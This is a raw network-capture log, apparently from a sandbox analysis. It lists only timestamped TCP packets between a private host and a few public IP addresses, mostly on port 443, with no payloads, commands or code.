                                                                        Dec 11, 2024 12:15:16.958890915 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:16.961034060 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.080259085 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.124820948 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.129211903 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.129462004 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.129477024 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.129540920 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.133063078 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.133972883 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.252295971 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.275582075 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.275629044 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.275696039 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.286500931 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.287250996 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.406553984 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.444899082 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.450043917 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.450078964 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.450110912 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.495749950 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.502882957 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.503021002 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.520242929 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.603382111 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.603452921 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.603465080 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.603626013 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.606643915 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.606812000 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.622242928 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.680838108 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.725919962 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.726063967 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.800777912 CET4434970423.206.229.226192.168.2.8
                                                                        Dec 11, 2024 12:15:17.800863981 CET49704443192.168.2.823.206.229.226
                                                                        Dec 11, 2024 12:15:17.817430019 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.820516109 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.840836048 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.859167099 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.918386936 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.918447971 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.921647072 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.923589945 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.923644066 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.923661947 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.923710108 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.926702976 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.927257061 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:17.939855099 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:17.978530884 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.040910959 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.046020985 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.046477079 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.134818077 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.138333082 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.233361006 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.236198902 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.238451004 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.238516092 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.240794897 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.251701117 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.251749039 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.251771927 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.251810074 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.254699945 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.254724979 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.257906914 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.355645895 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.360002995 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.374196053 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.464729071 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.469155073 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.552359104 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.556613922 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.566404104 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.566493034 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.568901062 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.568955898 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.568962097 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.569359064 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.571398020 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.588629007 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.676177979 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.698903084 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.709237099 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.712279081 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.776968002 CET4967780192.168.2.8192.229.211.108
                                                                        Dec 11, 2024 12:15:18.868581057 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.871809959 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.886688948 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.889236927 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.889302969 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:18.889338017 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.889769077 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.892111063 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:18.892224073 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.009115934 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.011538029 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.026545048 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.026607990 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.026706934 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.029675007 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.186403990 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.186508894 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.188710928 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.189285040 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.192140102 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.207185984 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.207298040 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.207384109 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.210095882 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.214164019 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.218672991 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.218763113 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.221187115 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.223787069 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.333779097 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.343166113 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.378665924 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.383068085 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.526254892 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.529135942 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.532907963 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.535931110 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.538451910 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.538491964 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.538547039 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.538584948 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.541265965 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.541587114 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.655181885 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.660900116 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.720127106 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.761326075 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.847604036 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.852926016 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.852982044 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:19.858247042 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.858306885 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:19.858474970 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:38.900209904 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:38.900250912 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:38.900329113 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:38.900841951 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:38.900857925 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:40.121772051 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:40.121870995 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:40.123799086 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:40.123817921 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:40.124128103 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:40.124996901 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:40.167335987 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.005204916 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.005377054 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.005445004 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.005469084 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.005584955 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.005630970 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.005642891 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.005762100 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.005819082 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.005830050 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.016119957 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.016195059 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.016208887 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.024522066 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.024596930 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.024610043 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.073858023 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.124428988 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.183201075 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.183218002 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.196306944 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.196352005 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.196358919 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.201514006 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.201560974 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.201566935 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.208946943 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.208990097 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.208996058 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.216546059 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.216598034 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.216603041 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.224049091 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.224101067 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.224107027 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.239173889 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.239252090 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.239279985 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.246521950 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.246584892 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.246601105 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.254079103 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.254141092 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.254158020 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.261614084 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.261677980 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.261693001 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.269220114 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.269289017 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.269304037 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.276648998 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.276716948 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.276734114 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.284255028 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.284348965 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.284368992 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.339510918 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.339534044 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.386348963 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.388709068 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.390727043 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.390788078 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.390810966 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.404481888 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.404505968 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.404546022 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.404556990 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.404581070 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.409389973 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.409506083 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.409517050 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.409558058 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.413476944 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.417923927 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.417985916 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.417996883 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.418035030 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.426523924 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.426543951 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.426577091 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.435014963 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.435070992 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.435080051 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.435132027 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.439393044 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.439413071 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.439451933 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.448004007 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.448060036 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.448071003 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.448122025 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.454335928 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.454402924 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.460639000 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.460702896 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.464008093 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.464061975 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.470376015 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.470448017 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.476933002 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.476989985 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.483002901 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.483081102 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.507934093 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.508004904 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.581568956 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.581644058 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.586606026 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.586858988 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.589519978 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.589579105 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.594508886 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.594561100 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.599378109 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.599703074 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.603985071 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.604053020 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.606456995 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.606527090 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.610901117 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.610963106 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.613276005 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.613362074 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.618020058 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.618083954 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.622361898 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.622428894 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.625495911 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.625545979 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.629996061 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.630068064 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.634634018 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.634710073 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.636975050 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.637048960 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.640321970 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.640381098 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.642692089 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.642746925 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.644346952 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.644404888 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.647517920 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.647595882 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.649350882 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.649429083 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.652463913 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.652640104 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.655622005 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.655678988 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.657313108 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.657358885 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.700138092 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.700196981 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.702229977 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.702280998 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.774400949 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.774414062 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.774456978 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.774476051 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.774488926 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.774507046 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.783869028 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.783890009 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.784024954 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.784037113 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.792032003 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.792054892 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.792115927 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.792126894 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.792136908 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.801076889 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.801094055 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.801151991 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.801161051 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.801199913 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.810391903 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.810410976 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.810487986 CET49709443192.168.2.8172.67.187.200
                                                                        Dec 11, 2024 12:15:41.810496092 CET44349709172.67.187.200192.168.2.8
                                                                        Dec 11, 2024 12:15:41.818975925 CET44349709172.67.187.200192.168.2.8
